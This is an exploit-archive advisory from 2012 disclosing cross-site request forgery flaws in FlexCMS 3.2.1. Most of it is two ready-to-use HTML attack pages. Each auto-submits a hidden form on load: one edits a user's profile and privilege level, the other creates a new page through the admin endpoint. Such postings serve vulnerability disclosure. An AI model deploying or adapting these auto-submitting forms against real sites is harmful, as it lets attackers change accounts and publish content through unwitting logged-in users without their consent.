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FlexCMS 3.2.1 Cross Site Request Forgery

FlexCMS 3.2.1 Cross Site Request Forgery
Posted Mar 17, 2012
Authored by Ivano Binetti

FlexCMS version 3.2.1 suffers from multiple cross site request forgery vulnerabilities.

tags | exploit, vulnerability, csrf
SHA-256 | 16cd3937a6f7f77054ef2376479cc6417244f21c7a02cd8f9489b38cb614ae38

FlexCMS 3.2.1 Cross Site Request Forgery

Change Mirror Download
+---------------------------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : FlexCMS 3.2.1 Multiple CSRF
# Date : 16-03-2012
# Author : Ivano Binetti (http://www.ivanobinetti.com)
# Software link : http://www.flexcms3.com/index.php/index.html
# Vendor site : http://www.flexcms.com
# Version : 3.2.1 (and lower)
# Tested on : Debian Squeeze (6.0)
# Original Advisory: http://ivanobinetti.blogspot.com/2012/03/flexcms-multiple-csrf-vulnerabilities.html

+---------------------------------------------------------------------------------------------------------------------------------------------------+
Summary

1)Introduction
2)Vulnerabilities Description
3)Exploit
3.1 Exploit (Change Settings of "demo" user)
3.2 Exploit (Add Page)

+---------------------------------------------------------------------------------------------------------------------------------------------------+

1)Introduction
FlexCMS "is a user-friendly website content management system. With FlexCMS you can easily build dynamic websites within a matter of minutes
with just the click of your mouse! Maintain your web content, navigation and even limit what groups or specific users can access, from anywhere in
the world with just a web browser! With an emphasis on security and functionality, FlexCMS is a professional and robust system suitable for any
business or organization website. Built on the PHP programming language and the MySQL database, FlexCMS delivers superb performance on any size
website.".

2)Vulnerability Description
FlexCMS 3.2.1 suffers from multiple CSRF vulnerabilities which could allow an attacker to change any parameters when an authenticated user/admin
browses a special crafted web page. In this Advisory I've only demonstrate how to change settings of user "demo" (is default user of demo page)
and also I've created a new web page.


3)Exploit

3.1 Exploit (Change settings of "demo" user)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add change any network parameter</H2>
<form method="POST" name="form0" action="http://www.flexcms3.com:80/index.php/profile-edit-save">
<input type="hidden" name="UsernameToEdit" value="demo"/>
<input type="hidden" name="Username" value="demo"/>
<input type="hidden" name="DisplayName" value="Ivano Binetti"/>
<input type="hidden" name="RealName" value="Ivano Binetti"/>
<input type="hidden" name="Email" value="IvanoBinetti@flexcms.com"/>
<input type="hidden" name="DisplayEmail" value="y"/>
<input type="hidden" name="Location" value=""/>
<input type="hidden" name="Password1" value=""/>
<input type="hidden" name="Password1" value=""/>
<input type="hidden" name="FirstName" value="Demo"/>
<input type="hidden" name="LastName" value="Demo"/>
<input type="hidden" name="OrganizationCompany" value=""/>
<input type="hidden" name="Address1" value=""/>
<input type="hidden" name="Address2" value=""/>
<input type="hidden" name="City" value="AnyCity"/>
<input type="hidden" name="StateProvince" value=""/>
<input type="hidden" name="ZipPostal" value=""/>
<input type="hidden" name="Country" value="US"/>
<input type="hidden" name="Phone" value=""/>
<input type="hidden" name="Website" value=""/>
<input type="hidden" name="ReferredBy" value=""/>
<input type="hidden" name="ForumAvatar" value=""/>
<input type="hidden" name="FileData" value=""/>
<input type="hidden" name="ForumSignature" value=""/>
<input type="hidden" name="NewUserLevel" value="20"/>
</form>
</body>
</html>


3.2 Exploit (Add Page)
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add web page</H2>
<form method="POST" name="form0" action="http://www.flexcms3.com:80/index.php/admin/pages-new-save">
<input type="hidden" name="AdminLabel" value="1"/>
<input type="hidden" name="PageCategory" value="0"/>
<input type="hidden" name="PageLink" value="testissimo"/>
<input type="hidden" name="PageTitle" value="testissimo"/>
<input type="hidden" name="TitleImage" value=""/>
<input type="hidden" name="TitleAlignment" value="L"/>
<input type="hidden" name="PageType" value="1"/>
<input type="hidden" name="EnablePHP" value="0"/>
<input type="hidden" name="PageContents" value="%3Cdiv%3Etestissimo%3C%2Fdiv%3E"/>
<input type="hidden" name="PageContents2" value=""/>
<input type="hidden" name="PageAlignment" value="L"/>
<input type="hidden" name="BrowserTitle" value=""/>
<input type="hidden" name="MetaKeywords" value=""/>
<input type="hidden" name="MetaDescription" value=""/>
<input type="hidden" name="PageEnabled" value="1"/>
<input type="hidden" name="MinLevel" value="1"/>
<input type="hidden" name="MinEditLevel" value="0"/>
<input type="hidden" name="SDMonth" value="1"/>
<input type="hidden" name="SDDay" value="1"/>
<input type="hidden" name="SDYear" value="2012"/>
<input type="hidden" name="SDHour" value="0"/>
<input type="hidden" name="SDMinute" value="0"/>
<input type="hidden" name="SDAmPm" value="am"/>
<input type="hidden" name="EDMonth" value="1"/>
<input type="hidden" name="EDDay" value="1"/>
<input type="hidden" name="EDYear" value="2012"/>
<input type="hidden" name="EDHour" value="0"/>
<input type="hidden" name="EDMinute" value="0"/>
<input type="hidden" name="EDAmPm" value="am"/>
<input type="hidden" name="SubmitButton" value="Create+New+Page"/>
</form>
</body>
</html>


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